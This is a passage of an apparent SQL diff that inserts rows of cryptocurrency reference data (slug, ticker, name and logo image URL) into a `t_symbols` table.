'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/geocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1742, 'rupee', 'RUP', 'Rupee', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/RupeeBlockchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1743, 'atromg8', 'AG8', 'AtromG8', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/atromg8.png', NULL); +INSERT INTO `t_symbols` VALUES (1744, 'note-blockchain', 'NTBC', 'Note Blockchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/note-blockchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1745, 'axis-defi', 'AXIS', 'Axis DeFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/axis-defi.png', NULL); +INSERT INTO `t_symbols` VALUES (1746, 'gameflip', 'FLP', 'Gameflip', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gameflip.png', NULL); +INSERT INTO `t_symbols` VALUES (1747, 'poa-network', 'POA', 'POA Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/poa-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1748, 'furtcoin', 'FURT', 'furtcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/furtcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1749, 'dehive', 'DHV', 'DeHive', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deHive.png', NULL); +INSERT INTO `t_symbols` VALUES (1750, 'exrnchain', 'EXRN', 'EXRNchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/exrnchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1751, 'turtlecoin', 'TRTL', 'TurtleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/turtlecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1752, 'skrumble-network', 'SKM', 'Skrumble Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skrumble-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1753, 'mywish', 'WISH', 'MyWish', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mywish.png', NULL); +INSERT INTO `t_symbols` VALUES (1754, 'massnet', 'MASS', 'MASS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/massnet.png', NULL); +INSERT INTO `t_symbols` VALUES (1755, 'bodhi-eth', 'BOE', 'BOE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bodhi-eth.png', NULL); +INSERT INTO `t_symbols` VALUES (1756, 'bulwark', 'BWK', 'Bulwark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bulwark.png', NULL); +INSERT INTO `t_symbols` VALUES (1757, 'c3w', 'C3W', 'C3 Wallet', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/c3w.png', NULL); +INSERT INTO `t_symbols` VALUES (1758, 'ejoy', 'EJOY', 'ETHER JOY', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ejoy.png', NULL); +INSERT INTO `t_symbols` VALUES (1759, 'nanjcoin', 'NANJ', 'NANJCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nanjcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1760, 'embercoin', 'EMB', 'EmberCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/embercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1761, 'napoleonx', 'NPX', 'Napoleon X', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/napoleonx.png', NULL); +INSERT INTO `t_symbols` VALUES (1762, 'infinito', 'INFT', 'Infinito', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/infinito.png', NULL); +INSERT INTO `t_symbols` VALUES (1763, 'projectmerge', 'MERGE', 'Merge', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/projectmerge.png', NULL); +INSERT INTO `t_symbols` VALUES (1764, 'finchain', 'JRC', 'FinChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/finchain.png', NULL); +INSERT INTO `t_symbols` VALUES (1765, 'credo', 'CREDO', 'Credo', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/credo.png', NULL); +INSERT INTO `t_symbols` VALUES (1766, 'cobinhood', 'COB', 'Cobinhood', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cobinhood.png', NULL); +INSERT INTO `t_symbols` VALUES (1767, 'eosdac', 'EOSDAC', 'eosDAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eosdac.png', NULL); +INSERT INTO `t_symbols` VALUES (1768, 'unbreakablecoin', 'UNB', 'UnbreakableCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Unbreakablcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1769, 'heronode', 'HER', 'HeroNode', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/heronode.png', NULL); +INSERT INTO `t_symbols` VALUES (1770, 'linda', 'LINDA', 'LindaCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linda.png', NULL); +INSERT INTO `t_symbols` VALUES (1771, 'open-platform', 'OPEN', 'Open Platform', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/open-platform.png', NULL); +INSERT INTO `t_symbols` VALUES (1772, 'medical-chain', 'MTN', 'Medicalchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/medical-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1773, 'jarvis', 'JAR', 'Jarvis+', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jarvis%20.png', NULL); +INSERT INTO `t_symbols` VALUES (1774, 'coinfi', 'COFI', 'CoinFi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinfi.png', NULL); +INSERT INTO `t_symbols` VALUES (1775, 'dav-network', 'DAV', 'DAV Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dav-network.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1776, 'electrifyasia', 'ELEC', 'Electrify.Asia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/electrifyasia.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1777, 'dacc', 'DACC', 'DACC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dacc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1778, 'upfiring', 'UFR', 'Upfiring', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/upfiring.png', NULL); +INSERT INTO `t_symbols` VALUES (1779, 'disbalancer', 'DDOS', 'disBalancer', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/disbalancer.png', NULL); +INSERT INTO `t_symbols` VALUES (1780, 'typerium', 'TYPE', 'Typerium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/typerium.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1781, 'deutsche-emark', 'DEM', 'Deutsche eMark', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/deutsche-emark.png', NULL); +INSERT INTO `t_symbols` VALUES (1782, 'smart-investment-fund-token', 'SIFT', 'Smart Investment Fund Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/SmartIFT.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1783, 'experience-chain', 'XPC', 'eXPerience Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/experience-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (1784, 'hashnet-biteco', 'HNB', 'HashNet BitEco', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hashnet-biteco.png', NULL); +INSERT INTO `t_symbols` VALUES (1785, 'bumo', 'BU', 'BUMO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bumo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1786, 'global-cryptocurrency', 'GCC', 'Global Cryptocurrency', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/global-cryptocurrency.png', NULL); +INSERT INTO `t_symbols` VALUES (1787, 'internxt', 'INXT', 'Internxt', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/internxt.png', NULL); +INSERT INTO `t_symbols` VALUES (1788, 'bunnycoin', 'BUN', 'Bunnycoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bunnycoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1789, 'ugas', 'UGAS', 'Ultrain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ugas.png', NULL); +INSERT INTO `t_symbols` VALUES (1790, 'vcash', 'XVC', 'Vcash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/VCashinfo.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1791, 'bancacy', 'BNY', 'Bancacy', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bancacy.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1792, 'xensor', 'XSR', 'Xensor', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/xensor.png', NULL); +INSERT INTO `t_symbols` VALUES (1793, '0xcert', 'ZXC', '0xcert', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/0xcert.png', NULL); +INSERT INTO `t_symbols` VALUES (1794, 'singulardtv', 'SNGLS', 'SingularDTV', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/singulardtv.png', NULL); +INSERT INTO `t_symbols` VALUES (1795, '1irstcoin', 'FST', '1irstcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/1irstcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1796, 'spellfire', 'SPELLFIRE', 'Spellfire', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/spellfire.png', NULL); +INSERT INTO `t_symbols` VALUES (1797, 'terracoin', 'TRC', 'Terracoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/terracoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1798, 'manna', 'MANNA', 'Manna', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/manna.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1799, 'pegasus', 'PGS', 'Pegasus', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pegasus.png', NULL); +INSERT INTO `t_symbols` VALUES (1800, 'fndz', 'FNDZ', 'FNDZ', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/fndz.png', NULL); +INSERT INTO `t_symbols` VALUES (1801, 'flip', 'FLIP', 'FLIP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Gameflip.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1802, 'hashcoin', 'HSC', 'HashCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hashcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1803, 'bzky', 'BZKY', 'Bizkey', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bzky.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1804, 'zcc', 'ZCC', 'ZcCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zcc.png', NULL); +INSERT INTO `t_symbols` VALUES (1805, 'foundgame', 'FGC', 'FoundGame', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/foundgame.png', NULL); +INSERT INTO `t_symbols` VALUES (1806, 'everex', 'EVX', 'Everex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/everex.png', NULL); +INSERT INTO `t_symbols` VALUES (1807, 'neoscoin', 'NEOS', 'NeosCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neoscoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1808, 'solarcoin', 'SLR', 'SolarCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solarcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1809, 'merkletoken', 'MERKLE', 'Merkle Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/merkle.png', NULL); +INSERT INTO `t_symbols` VALUES (1810, 'nolimitcoin', 'NLC', 'NoLimitCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nolimitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1811, 'neurochain-clausius', 'NCC', 'NeuroChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/neurochain-clausius.png', NULL); +INSERT INTO `t_symbols` VALUES (1812, 'peerplays-ppy', 'PPY', 'Peerplays', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/peerplays.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1813, 'bitcloud', 'BTDX', 'Bitcloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcloud.png', NULL); +INSERT INTO `t_symbols` VALUES (1814, 'revolutionvr', 'RVR', 'RevolutionVR', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/revolutionvr.png', NULL); +INSERT INTO `t_symbols` VALUES (1815, 'coinvest', 'COIN', 'Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinvest.png', NULL); +INSERT INTO `t_symbols` VALUES (1816, 'bitzeny', 'ZNY', 'BitZeny', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitzeny.png', NULL); +INSERT INTO `t_symbols` VALUES (1817, 'mdab', 'MDAB', 'BLOC Platform', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mdab.png', NULL); +INSERT INTO `t_symbols` VALUES (1818, 'ees-token', 'EES', 'ees-token', NULL, NULL); +INSERT INTO `t_symbols` VALUES (1819, 'encryptotel', 'ETT', 'EncryptoTel [Waves]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/encryptotel.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1820, 'tokenclub', 'TCT', 'TokenClub', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tokenclub.png', NULL); +INSERT INTO `t_symbols` VALUES (1821, 'wepower', 'WPR', 'WePower', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wepower.png', NULL); +INSERT INTO `t_symbols` VALUES (1822, 'evergreencoin', 'EGC', 'EverGreenCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/evergreencoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1823, 'bnsd-finance', 'BNSD', 'BNSD Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bnsd-finance.png', NULL); +INSERT INTO `t_symbols` VALUES (1824, 'gcoin', 'GCOIN', 'Galaxy Fight Club', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/galaxyfightclub.png', NULL); +INSERT INTO `t_symbols` VALUES (1825, 'equal', 'EQL', 'Equal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/equaltoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1826, 'jumpcoin', 'JUMP', 'Jumpcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jumpcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1827, 'galaxy-heroes-coin', 'GHC', 'Galaxy Heroes Coin [OLD]', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/galaxy-heroes-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1828, 'synereo', 'AMP', 'HyperSpace', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synereo.png', NULL); +INSERT INTO `t_symbols` VALUES (1829, 'locicoin', 'LOCI', 'Loci', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/locicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1830, 'rapidz', 'RPZX', 'Rapidz', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rapidz.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1831, 'titan-coin', 'TTN', 'Titan Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/titan-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1832, 'nss-coin', 'NSS', 'NSS Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nss-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1833, 'nerva', 'XNV', 'Nerva', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nerva.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1834, 'espers', 'ESP', 'Espers', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/espers.png', NULL); +INSERT INTO `t_symbols` VALUES (1835, 'icos', 'ICOS', 'ICOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/icos.png', NULL); +INSERT INTO `t_symbols` VALUES (1836, 'fivebalance', 'FBN', 'Fivebalance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/fivebalance.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1837, 'wintoken', 'WIN', 'WinToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wintoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1838, 'inpay', 'INPAY', 'InPay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/InPay_Team.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1839, 'pmd', 'PMD', 'Pyramid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pmd.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1840, 'buff', 'BUFF', 'buff', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/buff.png', NULL); +INSERT INTO `t_symbols` VALUES (1841, 'mcw', 'MCW', 'Mocrow', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mcw.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1842, 'bithereum-network', 'BTH', 'Bithereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bithereum-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1843, 'bitcrystals', 'BCY', 'Bitcrystals', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcrystals.png', NULL); +INSERT INTO `t_symbols` VALUES (1844, 'synchrolife', 'SYC', 'SynchroLife', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/synchrolife.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1845, 'pylon-network', 'PYLNT', 'Pylon Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pylon-network.png', NULL); +INSERT INTO `t_symbols` VALUES (1846, 'foldingcoin', 'FLDC', 'Foldingcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/foldingcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1847, 'digitalnote', 'XDN', 'DigitalNote', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/digitalnote.png', NULL); +INSERT INTO `t_symbols` VALUES (1848, 'emercoin', 'EMC', 'Emercoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/emercoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1849, 'skillcoin', 'SKILL', 'Skillcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/skillcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1850, 'golff', 'GOF', 'Golff', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/golff.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1851, 'etherparty', 'FUEL', 'Etherparty', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/etherparty_com.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1852, 'mytoken', 'MT', 'MyToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mytoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1853, 'gowithmi', 'GMAT', 'GoWithMi', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/feb65881ce959db578fb4e2d3cd73147.png', NULL); +INSERT INTO `t_symbols` VALUES (1854, 'esbc', 'ESBC', 'ESBC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/esbc.png', NULL); +INSERT INTO `t_symbols` VALUES (1855, 'widecash', 'WCH', 'Widecash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/widecash.png', NULL); +INSERT INTO `t_symbols` VALUES (1856, 'ab-chain-rtb', 'RTB', 'AB-Chain RTB', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ab-chain-rtb.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1857, 'ipx-token', 'IPX', 'Tachyon Protocol', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ipx-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1858, 'realtract', 'RET', 'RealTract', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/realtract.png', NULL); +INSERT INTO `t_symbols` VALUES (1859, 'carx', 'CARX', 'Carxchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carx.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1860, 'fiwa', 'FIWA', 'Defi Warrior', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/defiwarrior.png', NULL); +INSERT INTO `t_symbols` VALUES (1861, 'nyancoin', 'NYAN', 'Nyancoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nyancoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1862, 'ptn', 'PTN', 'PalletOne', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ptn.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1863, 'canada-ecoin', 'CDN', 'Canada eCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/canada-ecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1864, 'bottos', 'BTO', 'Bottos', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bottos.png', NULL); +INSERT INTO `t_symbols` VALUES (1865, 'ink', 'INK', 'Ink', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ink.png', NULL); +INSERT INTO `t_symbols` VALUES (1866, 'red-community-token', 'RED', 'Red', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/red-community-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1867, 'aspoworldtoken', 'ASPO', 'ASPO World', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/aspoworld.png', NULL); +INSERT INTO `t_symbols` VALUES (1868, 'trollcoin', 'TROLL', 'Trollcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/trollcoinbase.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1869, 'carboncoin', 'CARBON', 'Carboncoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/carboncoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1870, 'optitoken', 'OPTI', 'OptiToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/optitoken.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1871, 'thrive-token', 'THRT', 'Thrive Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thrive-token.png', NULL); +INSERT INTO `t_symbols` VALUES (1872, 'eos-trust', 'EOST', 'EOS TRUST', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eos-trust.png', NULL); +INSERT INTO `t_symbols` VALUES (1873, '3dc', '3DC', '3DCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/3dc.png', NULL); +INSERT INTO `t_symbols` VALUES (1874, 'iocoin', 'IOC', 'I/O Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iocoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1875, 'iethereum', 'IETH', 'iEthereum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/iethereum.png', NULL); +INSERT INTO `t_symbols` VALUES (1876, 'asch', 'XAS', 'Asch', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asch.png', NULL); +INSERT INTO `t_symbols` VALUES (1877, 'bitshares-music', 'MUSE', 'SounDAC', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitshares-music.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1878, 'rmpl', 'RMPL', 'RMPL', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/rmpl.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1879, 'energitoken', 'ETK', 'EnergiToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/energitoken.png', NULL); +INSERT INTO `t_symbols` VALUES (1880, 'kulupu', 'KLP', 'Kulupu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kulupu.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1881, 'biblepay', 'BBP', 'BiblePay', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/BiblePay.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1882, 'ruff', 'RUFF', 'Ruff', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ruff.png', NULL); +INSERT INTO `t_symbols` VALUES (1883, 'diychain', 'DIY', 'DIYchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/diychain.png', NULL); +INSERT INTO `t_symbols` VALUES (1884, 'voisecom', 'VOISE', 'VOISE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/voisecom.png', NULL); +INSERT INTO `t_symbols` VALUES (1885, 'cosmo-coin', 'COSM', 'Cosmo Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cosmo-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1886, 'martexcoin', 'MXT', 'MarteXcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/martexcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (1887, 'hitchain', 'HIT', 'HitChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hitchain.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1888, 'betop-token', 'BET', 'betop-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/betop-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1889, 'bitibu-coin', 'BTB', 'Bitibu Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitibu-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (1890, 'alchemint-standards', 'SDS', 'Alchemint Standards', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alchemint-standards.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (1891, 'goldmint', 'MNTP', 'GoldMint', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Goldmint_io.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1892, 'robotina', 'ROX', 'Robotina', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/robotina.png', NULL); +INSERT INTO `t_symbols` VALUES (1893, 'libra-credit', 'LBA', 'Libra Credit', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/libra-credit.png', NULL); +INSERT INTO `t_symbols` VALUES (1894, 'microbitcoin', 'MBC', 'MicroBitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/microbitcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1895, 'ternio', 'TERN', 'Ternio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ternio.png', NULL); +INSERT INTO `t_symbols` VALUES (1896, 'wings', 'WINGS', 'Wings', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/wings.png', NULL); +INSERT INTO `t_symbols` VALUES (1897, 'iotedge-network', 'IOTE', 'IOTEdge Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/6c5900ac1fbd6029883ac1108f788fd6.png', NULL); +INSERT INTO `t_symbols` VALUES (1898, 'btcdo-token', 'BT', 'btcdo-token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btcdo-token.jpg', NULL); +INSERT INTO `t_symbols` VALUES (1899, 'nextdao', 'NAX', 'NextDAO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/nextdao.png', 